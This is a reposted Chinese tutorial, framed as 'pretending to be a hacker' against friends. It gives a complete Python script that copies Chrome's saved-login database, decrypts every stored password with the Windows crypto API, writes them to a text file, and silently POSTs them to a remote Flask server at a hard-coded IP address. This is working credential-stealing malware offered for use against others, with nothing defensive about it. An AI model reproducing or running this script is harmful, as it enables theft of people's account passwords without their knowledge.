加入收藏 | 设为首页 | 会员中心 | 我要投稿 核心网 (https://www.hxwgxz.com/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 建站 > 正文

使用Python假装装黑客,批量破解朋友的网站密码

发布时间:2019-11-09 17:43:06 所属栏目:建站 来源:王翔
导读:如何破解iphone登陆密码 今天看了一篇关于如何破解iphone手机密码的文章,瞬间觉得科学技术不是第一生产力,why? 根据可靠消息称,即便美国FBI也无法轻易的对iphone手机进行暴力破解,当然美国有一家黑客公司可针对iphone进行破解,单收费过万美金。 那么

最后整理我们的代码:

  1.  1# -*- coding: utf-8 -*- 
  2.  2# @Author  : 王翔 
  3.  3# @JianShu : 清风Python 
  4.  4# @Date    : 2019/5/18 22:53 
  5.  5# Software : PyCharm 
  6.  6# version:Python 3.6.8 
  7.  7# @File    : ChromePassword.py 
  8.  8 
  9.  9import os 
  10. 10import shutil 
  11. 11import sqlite3 
  12. 12import win32crypt 
  13. 13import json 
  14. 14import requests 
  15. 15 
  16. 16APP_DATA_PATH = os.environ["LOCALAPPDATA"] 
  17. 17DB_PATH = r'GoogleChromeUser DataDefaultLogin Data' 
  18. 18 
  19. 19 
  20. 20class ChromePassword: 
  21. 21 
  22. 22    def __init__(self): 
  23. 23        self.passwordsList = [] 
  24. 24 
  25. 25    def get_chrome_db(self): 
  26. 26        _full_path = os.path.join(APP_DATA_PATH, DB_PATH) 
  27. 27        _tmp_file = os.path.join(os.environ['LOCALAPPDATA'], 'sqlite_file') 
  28. 28        if os.path.exists(_tmp_file): 
  29. 29            os.remove(_tmp_file) 
  30. 30        shutil.copyfile(_full_path, _tmp_file) 
  31. 31        self.show_passwords(_tmp_file) 
  32. 32 
  33. 33    def show_passwords(self, db_file): 
  34. 34        conn = sqlite3.connect(db_file) 
  35. 35        _sql = '''select signon_realm,username_value,password_value from logins''' 
  36. 36        for row in conn.execute(_sql): 
  37. 37            ret = win32crypt.CryptUnprotectData(row[2], None, None, None, 0) 
  38. 38            # 密码解析后得到的是字节码,需要进行解码操作 
  39. 39            _info = 'url: %-40s username: %-20s password: %sn' %  
  40. 40                    (row[0][:50], row[1], ret[1].decode()) 
  41. 41            self.passwordsList.append(_info) 
  42. 42        conn.close() 
  43. 43        os.remove(db_file) 
  44. 44 
  45. 45    def save_passwords(self): 
  46. 46        with open('password.txt', 'w', encoding='utf-8') as f: 
  47. 47            f.writelines(self.passwordsList) 
  48. 48 
  49. 49    def transfer_passwords(self): 
  50. 50        try: 
  51. 51            # 此处填写远端Flask对应的IP:PORT 
  52. 52            requests.post('http://192.168.1.102:9999/index', 
  53. 53                          data=json.dumps(self.passwordsList)) 
  54. 54        except requests.exceptions.ConnectionError: 
  55. 55            pass 
  56. 56 
  57. 57 
  58. 58if __name__ == '__main__': 
  59. 59    Main = ChromePassword() 
  60. 60    Main.get_chrome_db() 
  61. 61    Main.save_passwords() 
  62. 62    Main.transfer_passwords() 

(编辑:核心网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

热点阅读